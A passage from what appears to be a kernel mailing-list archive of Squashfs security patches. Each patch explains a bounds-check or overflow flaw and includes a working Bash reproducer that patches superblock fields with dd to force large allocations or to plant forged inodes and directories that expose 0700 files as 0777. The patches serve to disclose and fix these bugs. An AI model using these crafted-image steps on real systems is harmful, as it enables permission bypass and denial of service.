echo Mount of Squashfs filesystem failed
finish
fi
popd 2>&1 > /dev/null
rm -rf $DIR
=================================================================
--- fs/squashfs/fragment.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
fs/squashfs/fragment.c +4 -4
@@ -68,11 +68,11 @@ __le64 *squashfs_read_fragment_index_table(struct super_block *sb,__le64 *table;/* -* Sanity check, length bytes should not extend into the next table - -* this check also traps instances where fragment_table_start is -* incorrectly larger than the next table start +* The computed size of the index table (length bytes) should exactly +* match the table start and end points */ -if (fragment_table_start + length > next_table) +if (fragment_table_start >= next_table || + length != (next_table - fragment_table_start))return ERR_PTR (-EINVAL ); table =squashfs_read_table (sb, fragment_table_start, length);
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-fix-fragment-index-table-length-too-large-exploit.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: fix fragment index table length too large exploit has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: fix fragment index table length too large exploit
has been removed from the -mm tree. Its filename was
squashfs-fix-fragment-index-table-length-too-large-exploit.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: fix fragment index table length too large exploit
Date: Wed, 11 Nov 2026 23:43:49 +0000
An attacker can manipulate the fragment count and the fragment table start values in the superblock, and force the code to kmalloc() a 4 Mbyte memory region, or try to allocate larger values which will fail with a warning, and which will panic the kernel if panic on warn is set.
If the allocation succeeds, these invalid values will be caught when the code tries to read the data from disk, but, this leaves a small time window where the 4 Mbyte block is allocated before being freed when the mount of the filesystem fails.
The exploit relies on arithmetic overflow to evade the following sanity check:
if (fragment_table_start + length > next_table)
Specifically, the values of fragment_table_start and length can be chosen so that they overflow an unsigned long long, and so appear less than next_table.
Typically, the maximum memory that can be allocated with kmalloc() is 4 Mbytes. So if length is 4 Mbytes, this means fragment_table_start needs to be 2^64 - 4 Mbytes, to achieve overflow and produce a zero length.
This value is beyond the end of any block device, because the maximum block device is 2^63 - 512 in size (LLONG_MAX >> 9 sectors of 512 bytes).
In practice this means such a large value will be caught when the code immediately after allocation tries to read the data off disk:
table = squashfs_read_table(sb, fragment_table_start, length);
However, the code should check for validity before allocating a large kmalloc() area, because such allocations can cause memory pressure or cause the kernel to panic.
This commit checks that fragment_tables_size is not too large, and ensures arithmetic overflow does not occur.
It also makes the sanity check more exacting by utilising the fact that there should be zero gap between the end of the fragment index table and the next table.
Reproducer
=========
The following script if the eploit works, will fail with the mount error
mount: attempt to access beyond end of device
=================================================================
#!/bin/bash
ARGS="-quiet -no-progress"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}# Create a Squashfs filesystem with a single file. #
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create the Squashfs filesystem
if ! mksquashfs - img.sqsh -p "/ d 0777 0 0" -p "/file f 0777 0 0 echo hello" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The fragments field (fragment count) in the superblock is at offset # 16 bytes.
#
# Over-write the fragments count with 268,435,456 little-endian. # This will make the kernel try to kmalloc() 4 Mbytes to hold the
# fragment index table. #
# Write 268,435,456 in little-endian format to file /usr/bin/echo -en "\x00\x00\x00\x10" > file
# Over-write the fragments count in the superblock echo Over-write the fragments count in the superblock
dd bs=1 seek=16 if=file of=img.sqsh count=4 conv=notrunc status=none
# The fragment table start (start of the index table) in the superblock
# is at offset 72 bytes. # # Over-write the value with 2^64 - 4 Mbytes little-endian. # This value with the index table length will overflow an unsigned # long long, giving the value 0. This will evade the sanity check.
# Write 2^64 - 4 Mbytes in little-endian format to file /usr/bin/echo -en "\x00\x00\xc0\xff\xff\xff\xff\xff" > file
# Over-write the fragment table start in the superblock echo Over-write the fragment table start in the superblock
dd bs=1 seek=80 if=file of=img.sqsh count=8 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
# If the eploit works, the mount will fail with
# mount: attempt to access beyond end of device
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
popd 2>&1 > /dev/null
rm -rf $DIR
=================================================================
fs/squashfs/fragment.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
fs/squashfs/fragment.c renamed from fs/squashfs/fragment.c~squashfs-fix-fragment-index-table-length-too-large-exploit +4 -4
@@ -68,11 +68,11 @@ __le64 *squashfs_read_fragment_index_tab__le64 *table;/* -* Sanity check, length bytes should not extend into the next table - -* this check also traps instances where fragment_table_start is -* incorrectly larger than the next table start +* The computed size of the index table (length bytes) should exactly +* match the table start and end points */ -if (fragment_table_start + length > next_table) +if (fragment_table_start >= next_table || + length != (next_table - fragment_table_start))return ERR_PTR (-EINVAL ); table =squashfs_read_table (sb, fragment_table_start, length);
_
Patches currently in -mm which might be from [email protected] are
squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-block-count.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 10/22 Squashfs: sanity check inode metadata block location
In reply to Phillip LougherAn inode reference in Squashfs is represented as a tuple, the location of the compressed metadata block the inode is in, and the offset into the uncompressed block. The location is not absolute and it is instead encoded as an offset from the start of the inode table.
An attacker could manipulate the inode reference to make it point to a replacement malicious inode stored elsewhere, outside the inode table. This is because the code does not check that the location is valid and is within the inode table.
In practice this exploit is hard to achieve because metadata in Squashfs is compressed by default, and so the compressed metadata cannot be directly altered. In addition due to sanity checking at mount time there are no gaps in the filesystem to hide a malicious inode.
Also anyone with access to Mksquahfs/Unsquashfs can copy and recreate the filesystem incorporating whatever changes they want.
However there are a number of exploit scenarios here. Many embedded systems or secure systems have deliberately restricted installations with only basic tools, and lack any Mksquashfs/Unsquashfs. But exploits due to this bug can be achieved with only echo and dd.
An example exploit is where a Squashfs filesystem root directory has permissions 0700 (u=rxw), where only the superuser can enter the directory and access the content within. But using this bug an attacker could place a malicious root inode in the inode lookup table (used by NFS) which has the permissions changed to 0777 (a=rwx), and then update the root_inode field in the superblock to point to that. On reboot/remount this will make the directory accesisible to unprivileged users.
The following shell script acts as a reproducer and proof of concept.
This commit blocks such attempts by adding a new helper squashfs_inode_start() which adds additional sanity checking, first ensuring no arithmetic operations overflow, and second checking that the inode is within the inode table.
Reproducer
==========
The following Bash script uses echo and dd to achieve the previously discussed exploit. If the exploit is successful the root directory permisions will be changed to 0777 (a=rwx), but otherwise the filesystem is unchanged.
======================================================================
#!/bin/bash
ARGS="-no-sparse -no-hardlinks -no-progress -quiet -inode-time 0 -mkfs-time 0"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/zero of=zero bs=1024 count=1 status=none for i in $(seq 1 100); do
echo "$i l zero" >> pseudo
done
# Create a Squashfs filesystem with the root directory permissions u=rwx (0700) echo "Create a Squashfs filesystem with the root directory permissions u=rwx (0700)"
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0700 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The root_inode field in the superblock points to the compressed metadata
# block and offset within it, where the root inode is stored. # # Create a malicious root inode and hide it in the inode lookup table. # Because of mount time checking, there are no gaps between metadata tables # where it can be hidden, and it can't be hidden after the file system end, # because this is checked.
# Write malicious inode, this is the same as the original root inode, except
# it is uncompressed, and the permissions are set to 0777. /usr/bin/echo -en "\x20\x80\x01\x00\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\ \x65\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xec\x03\x00\x00\x00\x00\x00\ \x00" > file
# Place new root inode inside the inode lookup table echo Place new root inode inside the inode lookup table
dd bs=1 seek=960 if=file of=img.sqsh count=34 conv=notrunc status=none
# Update the root_inode field in the superblock to point to our new inode # The start block is an offset from the inode_table_start, and not an
# absolute value. The start of the inode table is 113, the new inode # is placed at position 964, and so the offset is 851. Because we've only # stored one inode in the metadata block, the offset into that block is 0. # echo Update the root_inode field in the superblock to point to our new inode
/usr/bin/echo -en "\x00\x00\x4f\x03" > file
dd bs=1 seek=32 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat /mnt, if the exploit is successful, permissions should be 0777 echo Stat /mnt, if the exploit is successful, permissions should be 0777
stat /mnt
popd 2>&1> /dev/null
rm -rf $DIR
======================================================================
---
v2: ensure err is not used uninitialised.
--- fs/squashfs/inode.c | 17 ++++++++++------- fs/squashfs/squashfs_helpers.h | 18 ++++++++++++++++++ 2 files changed, 28 insertions(+), 7 deletions(-)
fs/squashfs/inode.c +10 -7
@@ -109,8 +109,8 @@ int squashfs_read_inode(struct inode *inode, long long ino) {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 block =squashfs_inode_blk (ino) + msblk->inode_table; -int offset =squashfs_inode_offset (ino); +s64 block =squashfs_inode_start (msblk, ino), sblock = block; +int offset =squashfs_inode_offset (ino), soffset = offset;int err, type;union squashfs_inode squashfs_ino;struct squashfs_base_inode *sqshb_ino = &squashfs_ino.base;
@@ -118,11 +118,14 @@ int squashfs_read_inode(struct inode *inode, long long ino)TRACE ("Entered squashfs_read_inode\n" ); +if (block <0 ) + goto bad_block_val; +/* * Read inode base common to all inode types. */ - err =squashfs_read_metadata (sb, sqshb_ino, &block, - &offset,sizeof (*sqshb_ino)); + err =squashfs_read_metadata (sb, sqshb_ino, &sblock, + &soffset,sizeof (*sqshb_ino));if (err <0 ) goto failed_read;
@@ -130,9 +133,6 @@ int squashfs_read_inode(struct inode *inode, long long ino)if (err) goto failed_read; - block =squashfs_inode_blk (ino) + msblk->inode_table; - offset =squashfs_inode_offset (ino); - type =le16_to_cpu (sqshb_ino->inode_type);switch (type) {case SQUASHFS_REG_TYPE : {
@@ -452,6 +452,9 @@ int squashfs_read_inode(struct inode *inode, long long ino)return 0 ; +bad_block_val: + err = block; + failed_read:ERROR ("Unable to read inode 0x%llx\n" , ino);return err;
fs/squashfs/squashfs_helpers.h +18 -0
@@ -47,6 +47,24 @@ static inline u16 squashfs_inode_offset(s64 inode)return inode &0xffff ; } +static inline s64 squashfs_inode_start (struct squashfs_sb_info *msblk,s64 inode) +{ +s64 start; + +if (inode <0 ) +return -EINVAL ; + +if (S64_MAX - msblk->inode_table <squashfs_inode_blk (inode)) +return -EINVAL ; + + start = msblk->inode_table +squashfs_inode_blk (inode); + +if (start > msblk->directory_table) +return -EINVAL ; + +return start; +} +static inline s64 squashfs_mkinode (u32 start,u16 offset) {return ((s64 )start <<16 ) | offset;
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-sanity-check-inode-metadata-block-location.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: sanity check inode metadata block location has been removed from the -mm tree. Its filename was squashfs-sanity-check-inode-metadata-block-location.patch
The quilt patch titled
Subject: Squashfs: sanity check inode metadata block location
has been removed from the -mm tree. Its filename was
squashfs-sanity-check-inode-metadata-block-location.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: sanity check inode metadata block location
Date: Wed, 11 Nov 2026 23:43:50 +0000
An inode reference in Squashfs is represented as a tuple, the location of the compressed metadata block the inode is in, and the offset into the uncompressed block. The location is not absolute and it is instead encoded as an offset from the start of the inode table.
An attacker could manipulate the inode reference to make it point to a replacement malicious inode stored elsewhere, outside the inode table. This is because the code does not check that the location is valid and is within the inode table.
In practice this exploit is hard to achieve because metadata in Squashfs is compressed by default, and so the compressed metadata cannot be directly altered. In addition due to sanity checking at mount time there are no gaps in the filesystem to hide a malicious inode.
Also anyone with access to Mksquahfs/Unsquashfs can copy and recreate the filesystem incorporating whatever changes they want.
However there are a number of exploit scenarios here. Many embedded systems or secure systems have deliberately restricted installations with only basic tools, and lack any Mksquashfs/Unsquashfs. But exploits due to this bug can be achieved with only echo and dd.
An example exploit is where a Squashfs filesystem root directory has permissions 0700 (u=rxw), where only the superuser can enter the directory and access the content within. But using this bug an attacker could place a malicious root inode in the inode lookup table (used by NFS) which has the permissions changed to 0777 (a=rwx), and then update the root_inode field in the superblock to point to that. On reboot/remount this will make the directory accesisible to unprivileged users.
The following shell script acts as a reproducer and proof of concept.
This commit blocks such attempts by adding a new helper squashfs_inode_start() which adds additional sanity checking, first ensuring no arithmetic operations overflow, and second checking that the inode is within the inode table.
Reproducer
==========
The following Bash script uses echo and dd to achieve the previously discussed exploit. If the exploit is successful the root directory permisions will be changed to 0777 (a=rwx), but otherwise the filesystem is unchanged.
======================================================================
#!/bin/bash
ARGS="-no-sparse -no-hardlinks -no-progress -quiet -inode-time 0 -mkfs-time 0"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/zero of=zero bs=1024 count=1 status=none for i in $(seq 1 100); do
echo "$i l zero" >> pseudo
done
# Create a Squashfs filesystem with the root directory permissions u=rwx (0700) echo "Create a Squashfs filesystem with the root directory permissions u=rwx (0700)"
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0700 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The root_inode field in the superblock points to the compressed metadata
# block and offset within it, where the root inode is stored. # # Create a malicious root inode and hide it in the inode lookup table. # Because of mount time checking, there are no gaps between metadata tables # where it can be hidden, and it can't be hidden after the file system end, # because this is checked.
# Write malicious inode, this is the same as the original root inode, except
# it is uncompressed, and the permissions are set to 0777. /usr/bin/echo -en "\x20\x80\x01\x00\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\ \x65\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xec\x03\x00\x00\x00\x00\x00\ \x00" > file
# Place new root inode inside the inode lookup table echo Place new root inode inside the inode lookup table
dd bs=1 seek=960 if=file of=img.sqsh count=34 conv=notrunc status=none
# Update the root_inode field in the superblock to point to our new inode # The start block is an offset from the inode_table_start, and not an
# absolute value. The start of the inode table is 113, the new inode # is placed at position 964, and so the offset is 851. Because we've only # stored one inode in the metadata block, the offset into that block is 0. # echo Update the root_inode field in the superblock to point to our new inode
/usr/bin/echo -en "\x00\x00\x4f\x03" > file
dd bs=1 seek=32 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat /mnt, if the exploit is successful, permissions should be 0777 echo Stat /mnt, if the exploit is successful, permissions should be 0777
stat /mnt
popd 2>&1> /dev/null
rm -rf $DIR
======================================================================
fs/squashfs/inode.c | 17 ++++++++++------- fs/squashfs/squashfs_helpers.h | 18 ++++++++++++++++++ 2 files changed, 28 insertions(+), 7 deletions(-)
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~squashfs-sanity-check-inode-metadata-block-location +10 -7
@@ -109,8 +109,8 @@ int squashfs_read_inode(struct inode *in {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 block =squashfs_inode_blk (ino) + msblk->inode_table; -int offset =squashfs_inode_offset (ino); +s64 block =squashfs_inode_start (msblk, ino), sblock = block; +int offset =squashfs_inode_offset (ino), soffset = offset;int err, type;union squashfs_inode squashfs_ino;struct squashfs_base_inode *sqshb_ino = &squashfs_ino.base;
@@ -118,11 +118,14 @@ int squashfs_read_inode(struct inode *inTRACE ("Entered squashfs_read_inode\n" ); +if (block <0 ) + goto bad_block_val; +/* * Read inode base common to all inode types. */ - err =squashfs_read_metadata (sb, sqshb_ino, &block, - &offset,sizeof (*sqshb_ino)); + err =squashfs_read_metadata (sb, sqshb_ino, &sblock, + &soffset,sizeof (*sqshb_ino));if (err <0 ) goto failed_read;
@@ -130,9 +133,6 @@ int squashfs_read_inode(struct inode *inif (err) goto failed_read; - block =squashfs_inode_blk (ino) + msblk->inode_table; - offset =squashfs_inode_offset (ino); - type =le16_to_cpu (sqshb_ino->inode_type);switch (type) {case SQUASHFS_REG_TYPE : {
@@ -452,6 +452,9 @@ int squashfs_read_inode(struct inode *inreturn 0 ; +bad_block_val: + err = block; + failed_read:ERROR ("Unable to read inode 0x%llx\n" , ino);return err;
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-sanity-check-inode-metadata-block-location +18 -0
@@ -47,6 +47,24 @@ static inline u16 squashfs_inode_offset(return inode &0xffff ; } +static inline s64 squashfs_inode_start (struct squashfs_sb_info *msblk,s64 inode) +{ +s64 start; + +if (inode <0 ) +return -EINVAL ; + +if (S64_MAX - msblk->inode_table <squashfs_inode_blk (inode)) +return -EINVAL ; + + start = msblk->inode_table +squashfs_inode_blk (inode); + +if (start > msblk->directory_table) +return -EINVAL ; + +return start; +} +static inline s64 squashfs_mkinode (u32 start,u16 offset) {return ((s64 )start <<16 ) | offset;
_
Patches currently in -mm which might be from [email protected] are
squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-block-count.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 11/22 Squashfs: sanity check directory metadata block location
In reply to Phillip LougherThe contents of directories are stored in compressed metadata blocks, which are placed in the directory table. The location of a directory is thus represented as a tuple, the location of the compressed metadata block that the directory is in, and the offset into the uncompressed block. The block location is not absolute, and it is instead encoded as an offset from the start of the directory table.
An attacker could manipulate the directory block location to make it point to a replacement malicious directory stored elsewhere, outside the directory table. This is because the code does not check that the location is valid and is within the directory table.
In practice this exploit is hard to achieve because metadata in Squashfs is compressed by default, and so the compressed metadata cannot be directly altered. In addition due to sanity checking at mount time there are no gaps in the filesystem to store a malicious directory.
Also anyone with access to Mksquashfs/Unsquashfs can copy and recreate the filesystem incorporating whatever changes they want.
However, there are a number of exploit scenarios here. Many embedded systems or secure systems have deliverately restricted installations with only basic tools, and lack any Mksquashfs/Unsquashfs. But exploits due to this bug can be achieved with only echo and dd.
An example exploit is where a Squashfs filesystem has a file in the root directory with permissions 0700 (u=rxw), where only the superuser can read it. But using this bug an attacker could create a malicious replacement directory in the inode lookup table (used by NFS), that points to a malicious replacement inode that has the permissions changed to 0777 (a=wrx). On reboot/remount this would make the file readable by unpriviliged users.
The following shell script acts as a reproducer and proof of concept.
This commit blocks such attempts by adding a new helper squashfs_dir_start() which adds additional sanity checking, first ensuring no arithmetic operations overflow, and second checking that the directory is within the directory table.
Reproducer
==========
The following Bash script uses echo and dd to achieve the previously discussed exploit. If the exploit is successful the file "data" permissions will be changed to 0777 (a=rwx), but otherwise the filesystem is unchanged.
===================================================================
#!/bin/bash
ARGS="-no-sparse -no-hardlinks -no-progress -quiet -inode-time 0 -mkfs-time 0"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/zero of=zero bs=1024 count=1 status=none echo "data f 0700 0 0 echo some data" >> pseudo echo "files d 0777 0 0" >> pseudo
for i in $(seq 1 100); do
echo "files/$i f 0655 1000 1000 cat zero" >> pseudo
done
# Create a Squashfs filesystem
echo "Create a Squashfs filesystem"
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0777 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# Exploit: The file named "data" has permissions 0700, which can only be
# read by the superuser. The desire is to change the permissions on # the file to be 0777, which can be read by unpriviliged users. # # Due to compression of the metadata, this cannot be done by directly # writing to the metadata tables. Instead the real metadata is replaced # by malicious metadata starting from the "data" file inode upwards to # the root inode. # # This is a three step process. # # 1. A new "data" file inode is placed within the inode lookup table # 2. A new root directory which points to the new "data" file inode is # placed in the inode lookup table # 3. A new root inode which pounts to the new root directory table is # placed in the inode lookup table. # # For brevity this reproducer uses pre-computed data for the above.
# Write malicious inode for file "data", this is the same as the
# original except it is uncompressed, and the permissions are set to # 0777. echo Writing malicious inode for file \"data\"
/usr/bin/echo -en "\x20\x80\x02\x00\xFF\x01\x00\x00\x00\x00\x00\x00\
\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x0A\x00\x00\x00" > file
dd bs=1 seek=1034 if=file of=img.sqsh count=34 conv=notrunc status=none
# Write directory data which points to the malicious inode echo Writing root directory which points to malicious inode
/usr/bin/echo -en "\x31\x80\x00\x00\x00\x00\x90\x03\x00\x00\x01\x00\x00\
\x00\x00\x00\x00\x00\x02\x00\x03\x00\x64\x61\x74\x61\x00\x00\x00\x00\
\x00\x00\x00\x00\x02\x00\x00\x00\xA0\x0C\x00\x00\x01\x00\x04\x00\x66\
\x69\x6c\x65\x73" > file
dd bs=1 seek=983 if=file of=img.sqsh count=51 conv=notrunc status=none
#
# Write root inode, this is the same as the original root inode, except
# it is uncompressed, and it points to the new directory data echo Writing root inode which points to the new root directory
/usr/bin/echo -en "\x20\x80\x01\x00\xFF\x01\x00\x00\x00\x00\x00\x00\
\x00\x00\x67\x00\x00\x00\x43\x02\x00\x00\x03\x00\x00\x00\x34\x00\x00\
\x00\x00\x00\x00\x00" > file
dd bs=1 seek=949 if=file of=img.sqsh count=34 conv=notrunc status=none
# Update the root_inode field in the superblock to point to our new
# root inode. The start block is an offset from the inode_table_start, # and not an absolute value. The start of the inode table is 122, the # new inode is placed at position 949, and so the offset is 827. Because # we've only stored one inode in the metadata block, the offset into # that block is 0. echo Updating the root_inode field in the superblock
/usr/bin/echo -en "\x00\x00\x3B\x03" > file
dd bs=1 seek=32 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat /mnt/data, if the exploit is successful, permissions should be 0777 echo "************************************************************************" echo Stat /mnt/data, if the exploit is successful, permissions should be 0777
stat /mnt/data
popd 2>&1> /dev/null
rm -rf $DIR
=====================================================================
---
v2:
- Ensure dire is not used uninitialised.
- Ensure empty filesystems do not trigger new sanity checks.
--- fs/squashfs/dir.c | 20 ++++++++++++++------ fs/squashfs/namei.c | 20 +++++++++++++------- fs/squashfs/squashfs_fs_sb.h | 1 + fs/squashfs/squashfs_helpers.h | 17 +++++++++++++++++ fs/squashfs/super.c | 1 + 5 files changed, 46 insertions(+), 13 deletions(-)
fs/squashfs/dir.c +14 -6
@@ -22,6 +22,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" static const unsigned char squashfs_filetype_table[] = {
@@ -41,6 +42,7 @@ static int get_dir_index_using_offset(struct super_block *sb, int i_count, u64 f_pos) {struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 res;int err, i, index, length =0 ;unsigned int size;struct squashfs_dir_index dir_index;
@@ -81,9 +83,12 @@ static int get_dir_index_using_offset(struct super_block *sb,if (err <0 )break ; + res =squashfs_dir_start (le32_to_cpu (dir_index.start_block), msblk); +if (res <0 ) +break ; + length = index; - *next_block =le32_to_cpu (dir_index.start_block) + - msblk->directory_table; + *next_block = res; } *next_offset = (length + *next_offset) %SQUASHFS_METADATA_SIZE ;
@@ -99,13 +104,16 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx) {struct inode *inode =file_inode (file);struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -u64 block =squashfs_i (inode)->start + msblk->directory_table; +s64 block =squashfs_dir_start (squashfs_i (inode)->start, msblk);int offset =squashfs_i (inode)->offset, length, err;unsigned int inode_number, dir_count, size, type;struct squashfs_dir_header dirh; -struct squashfs_dir_entry *dire; +struct squashfs_dir_entry *dire =NULL ; + +TRACE ("Entered squashfs_readdir [%llx:%x]\n" ,squashfs_i (inode)->start, offset); -TRACE ("Entered squashfs_readdir [%llx:%x]\n" , block, offset); +if (block <0 ) + goto failed_read; dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL );if (dire ==NULL ) {
@@ -211,7 +219,7 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx)return 0 ; failed_read: -ERROR ("Unable to read directory block [%llx:%x]\n" , block, offset); +ERROR ("Unable to read directory block [%llx:%x]\n" ,squashfs_i (inode)->start, offset);kfree (dire);return 0 ; }
fs/squashfs/namei.c +13 -7
@@ -66,6 +66,7 @@ static int get_dir_index_using_name(struct super_block *sb, int index_offset, int i_count, const char *name) { struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 res;int i, length =0 , err;unsigned int size;struct squashfs_dir_index *index;
@@ -99,9 +100,12 @@ static int get_dir_index_using_name(struct super_block *sb,if (strcmp (index->name, name) >0 )break ; + res =squashfs_dir_start (le32_to_cpu (index->start_block), msblk); +if (res <0 ) +break ; + length =le32_to_cpu (index->index); - *next_block =le32_to_cpu (index->start_block) + - msblk->directory_table; + *next_block = res; } *next_offset = (length + *next_offset) %SQUASHFS_METADATA_SIZE ;
@@ -126,13 +130,16 @@ static struct dentry *squashfs_lookup(struct inode *dir, struct dentry *dentry,struct inode *inode =NULL ;struct squashfs_sb_info *msblk = dir->i_sb->s_fs_info;struct squashfs_dir_header dirh; -struct squashfs_dir_entry *dire; -u64 block =squashfs_i (dir)->start + msblk->directory_table; +struct squashfs_dir_entry *dire =NULL ; +u64 block =squashfs_dir_start (squashfs_i (dir)->start, msblk);int offset =squashfs_i (dir)->offset;int err, length;unsigned int dir_count, size; -TRACE ("Entered squashfs_lookup [%llx:%x]\n" , block, offset); +TRACE ("Entered squashfs_lookup [%llx:%x]\n" ,squashfs_i (dir)->start, offset); + +if (block <0 ) + goto data_error; dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL );if (dire ==NULL ) {
@@ -219,8 +226,7 @@ static struct dentry *squashfs_lookup(struct inode *dir, struct dentry *dentry, read_failure:ERROR ("Unable to read directory block [%llx:%x]\n" , -squashfs_i (dir)->start + msblk->directory_table, -squashfs_i (dir)->offset); +squashfs_i (dir)->start,squashfs_i (dir)->offset); failed:kfree (dire);return ERR_PTR (err);
fs/squashfs/squashfs_fs_sb.h +1 -0
@@ -67,6 +67,7 @@ struct squashfs_sb_info {__le64 *inode_lookup_table;u64 inode_table;u64 directory_table; +u64 directory_table_end;u64 xattr_table;unsigned int block_size;unsigned short block_log;
fs/squashfs/squashfs_helpers.h +17 -0
@@ -70,6 +70,23 @@ static inline s64 squashfs_mkinode(u32 start, u16 offset)return ((s64 )start <<16 ) | offset; } +/* directory helper functions */ +static inline s64 squashfs_dir_start (u32 blk,struct squashfs_sb_info *msblk) +{ +s64 start; + +if (S64_MAX - msblk->directory_table < blk) +return -EINVAL ; + + start = msblk->directory_table + blk; + +if (msblk->directory_table < msblk->directory_table_end && + start >= msblk->directory_table_end) +return -EINVAL ; + +return start; +} +/* fragment and fragment table defines */ static inline s64 squashfs_fragment_bytes (u32 fragments) {
fs/squashfs/super.c +1 -0
@@ -437,6 +437,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc) err = -EINVAL ; goto insanity; } + msblk->directory_table_end = next_table;/* Sanity check inode_table */ if (msblk->inode_table >= msblk->directory_table) {
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-sanity-check-directory-metadata-block-location.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: sanity check directory metadata block location has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: sanity check directory metadata block location
has been removed from the -mm tree. Its filename was
squashfs-sanity-check-directory-metadata-block-location.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: sanity check directory metadata block location
Date: Wed, 11 Nov 2026 23:43:51 +0000
The contents of directories are stored in compressed metadata blocks, which are placed in the directory table. The location of a directory is thus represented as a tuple, the location of the compressed metadata block that the directory is in, and the offset into the uncompressed block. The block location is not absolute, and it is instead encoded as an offset from the start of the directory table.
An attacker could manipulate the directory block location to make it point to a replacement malicious directory stored elsewhere, outside the directory table. This is because the code does not check that the location is valid and is within the directory table.
